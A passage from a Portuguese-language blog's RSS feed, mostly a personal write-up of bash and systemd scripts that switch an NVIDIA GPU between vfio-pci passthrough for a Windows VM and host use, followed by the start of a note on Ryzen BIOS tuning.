ACTION==&#34;add&#34;, SUBSYSTEM==&#34;pci&#34;, ATTR{vendor}==&#34;0x10de&#34;, ATTR{class}==&#34;0x030000&#34;, ATTR{enable}=&#34;0&#34;</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>A idéia é tentar mudar os atributos chmod pra 000, mas isso também não funcionou.</p>
<p>A última tentativa foi tentar um serviço Systemd em <code>/etc/systemd/system/nvidia-lock.service</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[Unit]
Description=Hardened NVIDIA Lock
Before=display-manager.service
Conflicts=multi-user.target

[Service]
Type=oneshot
# Merge of both prepare scripts
ExecStart=/bin/sh -c &#39;echo 0 &gt; /sys/class/vtconsole/vtcon0/bind&#39;
ExecStart=/bin/sh -c &#39;echo 0 &gt; /sys/class/vtconsole/vtcon1/bind&#39;
ExecStart=/bin/sh -c &#39;chmod 000 /dev/dri/card0&#39;
ExecStart=/bin/sh -c &#39;for card in /dev/dri/card*; do [ &#34;$(cat /sys/class/drm/${card##*/}/device/vendor)&#34; == &#34;0x10de&#34; ] &amp;&amp; chmod 000 &#34;$card&#34;; done&#39;

[Install]
WantedBy=graphical.target</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Mesma idéia de tentar bloquear o Wayland via permissões mais duras, mas também não funcionou. Eu acho que não tem problemas eu deixar isso rodando mas podem pular pra próxima seção</p>
<h2>3. O que funcionou<span class="hx:absolute hx:-mt-20" id="3-o-que-funcionou"></span>
    <a href="#3-o-que-funcionou" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Depois de muito testar, agora eu tenho dois scripts (só pra ficar menor macarrônico). Eis o script <code>nvidia-unlock</code> que descarrega o driver da NVIDIA e tem que rodar de outro TTY diferente de onde roda o GDM:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="c1"># /usr/local/bin/nvidia-unlock - Improved version with session handling</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Store current TTY</span>
</span></span><span class="line"><span class="cl"><span class="nv">CURRENT_TTY</span><span class="o">=</span><span class="k">$(</span>tty <span class="p">|</span> sed <span class="s1">&#39;s/\/dev\/tty//&#39;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">IS_GDM_RUNNING</span><span class="o">=</span><span class="k">$(</span>systemctl is-active gdm<span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 1. Stop GDM gracefully</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[</span> <span class="s2">&#34;</span><span class="nv">$IS_GDM_RUNNING</span><span class="s2">&#34;</span> <span class="o">=</span> <span class="s2">&#34;active&#34;</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;Stopping GDM...&#34;</span>
</span></span><span class="line"><span class="cl">  sudo systemctl stop gdm
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 2. Kill all graphical processes</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;Terminating graphical sessions...&#34;</span>
</span></span><span class="line"><span class="cl">sudo pkill -9 -f <span class="s2">&#34;gnome-shell|gjs|Xwayland&#34;</span>
</span></span><span class="line"><span class="cl">sleep <span class="m">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 3. Nuclear GPU unbind</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;Removing PCI devices...&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;1&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/devices/0000:01:00.0/remove &gt;/dev/null
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;1&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/devices/0000:01:00.1/remove &gt;/dev/null
</span></span><span class="line"><span class="cl">sleep <span class="m">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 4. Purge drivers</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;Unloading NVIDIA modules...&#34;</span>
</span></span><span class="line"><span class="cl">sudo rmmod nvidia_drm nvidia_modeset nvidia_uvm nvidia 2&gt;/dev/null
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 5. Rescan PCI</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;Rescanning PCI bus...&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;1&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/rescan &gt;/dev/null
</span></span><span class="line"><span class="cl">sleep <span class="m">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 6. Restore GDM if it was running</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[</span> <span class="s2">&#34;</span><span class="nv">$IS_GDM_RUNNING</span><span class="s2">&#34;</span> <span class="o">=</span> <span class="s2">&#34;active&#34;</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;Restarting GDM...&#34;</span>
</span></span><span class="line"><span class="cl">  sudo systemctl start gdm
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># Return to original TTY</span>
</span></span><span class="line"><span class="cl">  sleep <span class="m">3</span> <span class="c1"># Wait for GDM to initialize</span>
</span></span><span class="line"><span class="cl">  sudo chvt <span class="nv">$CURRENT_TTY</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 7. Final verification</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> ! lsmod <span class="p">|</span> grep -q nvidia<span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;✅ NVIDIA GPU successfully unlocked&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;❌ Failed to fully unlock GPU&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">exit</span> <span class="m">1</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Esse script mata todo mundo embaixo do GDM, o GNOME Shell, os programas gráficos abertos, tudo, então não deixe seu Libreoffice aberto sem salvar se rodar isso, vai matar tudo. Por isso tem que fazer Ctrl+Alt+F3 e rodar do terminal separado.</p>
<p>E agora, este é meu novo <code>nvidia-locker</code> :</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#!/bin/bash</span>
</span></span><span class="line"><span class="cl"><span class="c1"># nvidia-locker - Final working version with proper TTY handling</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Get the directory where this script lives</span>
</span></span><span class="line"><span class="cl"><span class="nv">SCRIPT_DIR</span><span class="o">=</span><span class="s2">&#34;</span><span class="k">$(</span><span class="nb">cd</span> <span class="s2">&#34;</span><span class="k">$(</span>dirname <span class="s2">&#34;</span><span class="si">${</span><span class="nv">BASH_SOURCE</span><span class="p">[0]</span><span class="si">}</span><span class="s2">&#34;</span><span class="k">)</span><span class="s2">&#34;</span> <span class="o">&amp;&amp;</span> <span class="nb">pwd</span><span class="k">)</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Configuration</span>
</span></span><span class="line"><span class="cl"><span class="nv">NVIDIA_GPU</span><span class="o">=</span><span class="s2">&#34;0000:01:00.0&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">NVIDIA_AUDIO</span><span class="o">=</span><span class="s2">&#34;0000:01:00.1&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">PCI_PATH</span><span class="o">=</span><span class="s2">&#34;/sys/bus/pci/devices&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">DRM_PATH</span><span class="o">=</span><span class="s2">&#34;/dev/dri&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">UNLOCK_SCRIPT</span><span class="o">=</span><span class="s2">&#34;</span><span class="si">${</span><span class="nv">SCRIPT_DIR</span><span class="si">}</span><span class="s2">/nvidia-unlock&#34;</span> <span class="c1"># Look in same directory</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#  Core Functions </span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">get_driver<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nb">local</span> <span class="nv">device</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$1</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="o">[</span> -d <span class="s2">&#34;</span><span class="nv">$PCI_PATH</span><span class="s2">/</span><span class="nv">$device</span><span class="s2">/driver&#34;</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">    basename <span class="k">$(</span>readlink <span class="s2">&#34;</span><span class="nv">$PCI_PATH</span><span class="s2">/</span><span class="nv">$device</span><span class="s2">/driver&#34;</span><span class="k">)</span> 2&gt;/dev/null <span class="o">||</span> <span class="nb">echo</span> <span class="s2">&#34;none&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="cl">    <span class="nb">echo</span> <span class="s2">&#34;none&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="k">fi</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">is_gui_session<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="c1"># Returns true if running in a graphical session</span>
</span></span><span class="line"><span class="cl">  <span class="o">[</span> -n <span class="s2">&#34;</span><span class="nv">$DISPLAY</span><span class="s2">&#34;</span> <span class="o">]</span> <span class="o">||</span> <span class="o">[</span> -n <span class="s2">&#34;</span><span class="nv">$WAYLAND_DISPLAY</span><span class="s2">&#34;</span> <span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">print_status<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> -e <span class="s2">&#34;\nCurrent GPU Status:&#34;</span>
</span></span><span class="line"><span class="cl">  lspci -nnk -d 10de:2684
</span></span><span class="line"><span class="cl">  lspci -nnk -d 10de:22ba
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">load_vfio<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;🔒 Binding to vfio-pci...&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;vfio-pci&#34;</span> <span class="p">|</span> sudo tee <span class="s2">&#34;</span><span class="nv">$PCI_PATH</span><span class="s2">/</span><span class="nv">$NVIDIA_GPU</span><span class="s2">/driver_override&#34;</span> &gt;/dev/null
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;vfio-pci&#34;</span> <span class="p">|</span> sudo tee <span class="s2">&#34;</span><span class="nv">$PCI_PATH</span><span class="s2">/</span><span class="nv">$NVIDIA_AUDIO</span><span class="s2">/driver_override&#34;</span> &gt;/dev/null
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$NVIDIA_GPU</span><span class="s2">&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/drivers/vfio-pci/bind &gt;/dev/null
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$NVIDIA_AUDIO</span><span class="s2">&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/drivers/vfio-pci/bind &gt;/dev/null
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">load_nvidia_headless<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;🔓 Loading NVIDIA in headless mode...&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># Clear any existing overrides</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;&#34;</span> <span class="p">|</span> sudo tee <span class="s2">&#34;</span><span class="nv">$PCI_PATH</span><span class="s2">/</span><span class="nv">$NVIDIA_GPU</span><span class="s2">/driver_override&#34;</span> &gt;/dev/null
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;&#34;</span> <span class="p">|</span> sudo tee <span class="s2">&#34;</span><span class="nv">$PCI_PATH</span><span class="s2">/</span><span class="nv">$NVIDIA_AUDIO</span><span class="s2">/driver_override&#34;</span> &gt;/dev/null
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># Load modules with headless options</span>
</span></span><span class="line"><span class="cl">  sudo modprobe nvidia <span class="nv">NVreg_InitializeSystemMemoryAllocations</span><span class="o">=</span><span class="m">0</span>
</span></span><span class="line"><span class="cl">  sudo modprobe nvidia_modeset
</span></span><span class="line"><span class="cl">  sudo modprobe nvidia_uvm
</span></span><span class="line"><span class="cl">  sudo modprobe nvidia_drm <span class="nv">modeset</span><span class="o">=</span><span class="m">0</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># Bind devices</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$NVIDIA_GPU</span><span class="s2">&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/drivers/nvidia/bind &gt;/dev/null
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$NVIDIA_AUDIO</span><span class="s2">&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/drivers/nvidia/bind &gt;/dev/null
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># Lock DRM nodes</span>
</span></span><span class="line"><span class="cl">  sudo chmod <span class="m">000</span> <span class="s2">&#34;</span><span class="nv">$DRM_PATH</span><span class="s2">/card0&#34;</span> 2&gt;/dev/null <span class="c1"># NVIDIA</span>
</span></span><span class="line"><span class="cl">  sudo chmod <span class="m">660</span> <span class="s2">&#34;</span><span class="nv">$DRM_PATH</span><span class="s2">/card1&#34;</span> 2&gt;/dev/null <span class="c1"># AMD</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#  Command Handlers </span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">vm_mode<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nv">current_driver</span><span class="o">=</span><span class="k">$(</span>get_driver <span class="s2">&#34;</span><span class="nv">$NVIDIA_GPU</span><span class="s2">&#34;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$current_driver</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;nvidia&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> is_gui_session<span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">      <span class="nb">echo</span> <span class="s2">&#34;⚠️  Please switch to TTY (Ctrl+Alt+F2) and run:&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="nb">echo</span> <span class="s2">&#34;   sudo systemctl stop gdm &amp;&amp; sudo nvidia-unlock&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span>
</span></span><span class="line"><span class="cl">      <span class="nb">echo</span> <span class="s2">&#34;⚠️  Already in TTY - running nvidia-unlock...&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="o">[</span> -x <span class="s2">&#34;</span><span class="nv">$UNLOCK_SCRIPT</span><span class="s2">&#34;</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">        sudo <span class="s2">&#34;</span><span class="nv">$UNLOCK_SCRIPT</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="k">else</span>
</span></span><span class="line"><span class="cl">        <span class="nb">echo</span> <span class="s2">&#34;❌ Error: nvidia-unlock not found at </span><span class="si">${</span><span class="nv">UNLOCK_SCRIPT</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="nb">echo</span> <span class="s2">&#34;ℹ️  Make sure both scripts are in the same directory&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="nb">exit</span> <span class="m">1</span>
</span></span><span class="line"><span class="cl">      <span class="k">fi</span>
</span></span><span class="line"><span class="cl">    <span class="k">fi</span>
</span></span><span class="line"><span class="cl">    <span class="nb">exit</span> <span class="m">1</span>
</span></span><span class="line"><span class="cl">  <span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  load_vfio
</span></span><span class="line"><span class="cl">  print_status
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">host_mode<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nv">current_driver</span><span class="o">=</span><span class="k">$(</span>get_driver <span class="s2">&#34;</span><span class="nv">$NVIDIA_GPU</span><span class="s2">&#34;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$current_driver</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;vfio-pci&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">    <span class="nb">echo</span> <span class="s2">&#34;🔄 Releasing vfio-pci binding...&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$NVIDIA_GPU</span><span class="s2">&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/drivers/vfio-pci/unbind &gt;/dev/null
</span></span><span class="line"><span class="cl">    <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$NVIDIA_AUDIO</span><span class="s2">&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/drivers/vfio-pci/unbind &gt;/dev/null
</span></span><span class="line"><span class="cl">  <span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  load_nvidia_headless
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="o">&amp;&amp;</span> nvidia-smi
</span></span><span class="line"><span class="cl">  print_status
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#  Main </span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">case</span> <span class="s2">&#34;</span><span class="nv">$1</span><span class="s2">&#34;</span> in
</span></span><span class="line"><span class="cl">on<span class="o">)</span> vm_mode <span class="p">;;</span>
</span></span><span class="line"><span class="cl">off<span class="o">)</span> host_mode <span class="p">;;</span>
</span></span><span class="line"><span class="cl">status<span class="o">)</span> print_status <span class="p">;;</span>
</span></span><span class="line"><span class="cl">*<span class="o">)</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;Usage: </span><span class="nv">$0</span><span class="s2"> [on|off|status]&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;  on     - Prepare GPU for VM (may require nvidia-unlock)&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;  off    - Enable NVIDIA for host (headless mode)&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;  status - Show current GPU status&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">exit</span> <span class="m">1</span>
</span></span><span class="line"><span class="cl">  <span class="p">;;</span>
</span></span><span class="line"><span class="cl"><span class="k">esac</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Pra rodar é a mesma coisa: <code>nvidia-locker off</code> vai tirar o bloqueio da vfio-pci e carregar os drivers da Nvidia quando eu quero rodar uma LLM de IA nativo no meu Linux ou renderizar alguma coisa no Blender com Cycles.</p>
<p>Depois que terminar, e eu quiser rodar Windows na VM. Ctrl-Alt-F3, novo login no terminal puro texto, e <code>nvidia-locker on</code>. Isso vai matar a GDM, descarregar os drivers da NVIDIA, recarregar o bloqueio do vfio-pci e reiniciar o GDM pra eu logar de novo no modo gráfico. E de lá posso abrir via comando <code>virsh start</code> ou usando a interface gráfica Virtual Machine Manager se quiser usar Display Spice, por exemplo.</p>
<p>E é isso, o artigo é mais pra eu não me esquecer do que eu fiz, pra no futuro usar de referência.</p>
]]></content:encoded><category>linux</category><category>hardware</category></item><item><title>Configuração da BIOS do meu PC - X670E Aorus Xtreme</title><link>https://www.akitaonrails.com/2025/04/17/configuracao-da-bios-do-meu-pc-x670e-aorus-xtreme/</link><guid isPermaLink="true">https://www.akitaonrails.com/2025/04/17/configuracao-da-bios-do-meu-pc-x670e-aorus-xtreme/</guid><pubDate>Thu, 17 Apr 2025 18:50:00 -0300</pubDate><description>&lt;p&gt;Esta é uma anotação pra mim mesmo, pra eu não esquecer e talvez ajude alguém.&lt;/p&gt;
&lt;p&gt;Eu sei que toda placa-mãe vem pré-configurada em &amp;ldquo;defaults&amp;rdquo; seguros e conservadores, o mais estável e não o mais performático. Então se não entrar na BIOS pra mexer, vai estar deixando performance na mesa.&lt;/p&gt;
&lt;p&gt;Eu tenho uma CPU AMD Ryzen 9 7950X3D. O processador é um pacote com um pacote que funciona do dois &amp;ldquo;dies&amp;rdquo;, não sei se é &amp;ldquo;chip&amp;rdquo; um jeito de visualizar. Cada um deles tem 8 cores, totalizando os 16 cores e cada core com 2 threads, então 32 threads possíveis em paralelo.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Esta é uma anotação pra mim mesmo, pra eu não esquecer e talvez ajude alguém.</p>
<p>Eu sei que toda placa-mãe vem pré-configurada em &ldquo;defaults&rdquo; seguros e conservadores, o mais estável e não o mais performático. Então se não entrar na BIOS pra mexer, vai estar deixando performance na mesa.</p>
<p>Eu tenho uma CPU AMD Ryzen 9 7950X3D. O processador é um pacote com um pacote que funciona do dois &ldquo;dies&rdquo;, não sei se é &ldquo;chip&rdquo; um jeito de visualizar. Cada um deles tem 8 cores, totalizando os 16 cores e cada core com 2 threads, então 32 threads possíveis em paralelo.</p>
<p>Mas tem uma diferença, cada die tem caches L3 diferentes. Um dos dies tem só 32MB e o outro tem 96MB, então programas mais pesados se beneficiam se rodarem nos cores do die que tem mais L3, e dá pra configurar isso.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/gcbhrzj8wuc38z3lonisck0ooeck" alt="lstopo"  loading="lazy" /></p>
<p>Além disso ele tem clock base acho que de 3Ghz com capacidade de dar turbo boost até 5.7Ghz. Não pode tudo rodar nessa velocidade senão esquenta muito rápido e pode dar &ldquo;thermal throttle&rdquo; e aí ele derruba tudo pra baixo de 3Ghz. Por isso que, principalmente em notebooks que não tem capacidade térmica adequada, o melhor não é dar overclocking e sim &ldquo;undervolting&rdquo; (cortar a energia pra ir menos rápido). Porque é melhor todo mundo um pouco menos rápido do que todo mundo super rápido mas imediatamente super-aquecer e todo mundo ficar lento. É complexo isso.</p>
<p>Pra complicar mais eu tenho 96GB de RAM DDR5 6000. Capaz do máximo teórico de 6Ghz, mas isso é teórico porque pode dessincronizar tudo e causar instabilidades até crashear um kernel panic. Por isso o default da placa mãe é a velocidade base acho que de 4Ghz e CPU no máximo indo até 4Ghz mais ou menos também.</p>
<p>Mas dá pra subir isso um pouco sem deixar instável. Em resumo eu fiz o seguinte:</p>
<h2>PBO - Precision Boost Overdrive<span class="hx:absolute hx:-mt-20" id="pbo---precision-boost-overdrive"></span>
    <a href="#pbo---precision-boost-overdrive" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Os CPUs Ryzen tem PBO pra dar turbo boost no clock dos cores. Ele costuma vir ou desativado ou numa configuração conservadora, então seu CPU de 5.7Ghz pode estar operando só em 4Ghz ou menos e nunca entregando o máximo.</p>
<p>Pra ajustar isso, se quiser ser avançado, precisa ajustar parâmetros como PPT (Package Power Tracking) pra 200W ou mais. TDC (Thermal Design Current) pra 160A ou mais. EDC (Electrical Design Current) pra 200A ou mais. E pode configurar uma otimizador de curva, por core, pra negativo (-10 ou -20) pra reduzir voltagem, o que pode permitir clocks de boost mais altos.</p>
<p>Mas isso é muito avançado, e precisa saber bem mais de elétrica antes de
tentar na não. Melhor não arriscar e não mexer nisso. A tela a seguir, não deixe em Avançado e sim em Auto mesmo:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/vxeurat4imakwzdl6artkzuqymmq" alt="PBO Advanced"  loading="lazy" /></p>
<p>Em vez disso é melhor mexer em PBO Enhancement Presets, que é essa tela abaixo:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/a1vgigv3ka64xs6nclq9z2hh21w7" alt="PBO Presets"  loading="lazy" /></p>
